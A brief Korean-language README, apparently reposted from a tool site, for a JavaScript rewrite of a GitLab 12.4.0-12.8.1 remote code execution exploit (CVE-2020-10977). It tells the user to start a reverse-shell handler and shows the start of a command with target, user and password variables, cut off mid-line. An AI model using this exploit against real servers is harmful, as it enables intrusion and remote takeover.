CVE-2020-10977

GitLab v12.4.0-12.8.1 RCE 전적으로 https://github.com/dotPY-hax/gitlabRCE 에 기반하며, 해당 스크립트는 저에게 작동하지 않았고 HTML 파싱 부분이 번거로워 보여서 JS로 다시 작성했습니다. 사용법 평소 방식대로 리버스 셸 핸들러를 시작한 다음 이 스크립트를 실행하세요: root@kitploit: TARGETURI="https://target" TARGETEMAILDOMAIN="laboratory.htb" \ TARGETUSER="test" TARGETPASSWORD="Tes...